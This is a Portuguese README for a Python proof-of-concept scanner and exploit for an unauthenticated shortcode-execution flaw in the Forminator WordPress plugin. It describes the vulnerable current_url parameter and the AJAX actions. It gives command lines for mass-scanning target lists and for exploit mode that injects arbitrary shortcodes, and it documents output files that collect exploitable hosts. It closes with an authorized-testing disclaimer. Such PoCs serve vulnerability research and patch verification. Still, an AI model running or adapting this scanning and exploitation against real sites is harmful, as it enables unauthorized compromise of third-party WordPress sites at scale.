
Scanner PoC e exploit em Python 3 para CVE-2026-92229, uma falha de execução arbitrária de shortcode não autenticada no plugin Forminator para WordPress nas versões 1.57.2 e anteriores.
Scanner/exploit PoC em Python 3 para CVE-2026-92229 no Forminator (WPMU DEV).
| Plugin | forminator |
| Afetado | ≤ 1.57.2 |
| Corrigido em | 1.57.3+ |
| CVSS | 9.1 (Crítico) |
| Autenticação | Não autenticado |
| Vetor | Parâmetro POST current_url (AJAX de quiz) |
| CWE | CWE-94 (Injeção de Código) |
| Crédito | Kuba (Wordfence) |
Em versões vulneráveis, o current_url fornecido pelo usuário é refletido no HTML de resultado do quiz (por exemplo, atributos de compartilhamento social) e o buffer de resposta é processado com o do_shortcode() do WordPress. Um atacante não autenticado pode enviar um quiz via admin-ajax.php com um current_url malicioso incorporando shortcodes arbitrários.
Ações AJAX principais:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (preview; --preview)Corrigido em 1.57.3 limitando a execução de shortcode aos campos de texto pretendidos em vez de todo o buffer HTML.
pip install -r requirements.txtpip install -r requirements.txt
# Detecta plugin, versão, módulos públicos do Forminator (respostas do quiz quando analisáveis)
python poc.py -u https://target.example --mode check
# Verificação em massa
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (nonce automático + respostas do quiz quando possível)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Envio em preview (sem entrada armazenada, mesmo caminho de código)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Respostas do quiz manuais se a análise do HTML falhar
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Opção | Descrição |
|---|---|
-u, --url | URL base de um único alvo |
--list | Arquivo com uma URL por linha |
--mode | check (padrão) ou exploit |
--page-url | Caminho ou URL da página contendo o formulário |
--form-id | ID do módulo do Forminator |
--form-type | quizzes, custom-forms ou poll |
--answers | Respostas do quiz no formato question_id:answer_id,... |
--shortcode | Payload de shortcode (envolvido em [caption]…[/caption] dentro de current_url) |
--preview | Usa a ação AJAX de preview |
--threads, -j | Concorrência da verificação em massa (padrão 20) |
--output | Resultados em JSONL (padrão cve_2026_92229_results.jsonl) |
--vuln-list | Arquivo de texto para acertos da verificação (padrão hits.txt) |
--candidates-list | Metadados JSONL para verificações exploráveis (padrão candidates.jsonl) |
--quiet | Menos ruído de progresso em execuções em massa |
| Arquivo | Conteúdo |
|---|---|
cve_2026_92229_results.jsonl | JSON por alvo (status, version, modules, …) |
hits.txt | URLs base com exploitable_candidate: true |
candidates.jsonl | Detalhes dos acertos: form_id, page_url, form_type |
status| Status | Significado |
|---|---|
candidate | Versão vulnerável + quiz com respostas analisadas |
form_no_quiz_answers | Formulário encontrado, mas respostas do quiz não foram analisadas automaticamente |
plugin_no_public_form | Plugin presente, nenhum módulo público descoberto |
patched | Versão ≥ 1.57.3 (ou major mais recente) |
no_plugin | Forminator não detectado |
exploitable_candidate apenas quando o answers[qid] do quiz pode ser analisado a partir do HTML (muitos sites usam quizzes renderizados via JS → use --answers ou exploit manual).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas locais de verificação em massa (por exemplo, list.txt, exportações FOFA, resultados *.jsonl) estão listadas no .gitignore e não devem ser commitadas.
Apenas para testes de segurança autorizados. Você é responsável pela conformidade com as leis aplicáveis e as regras do programa.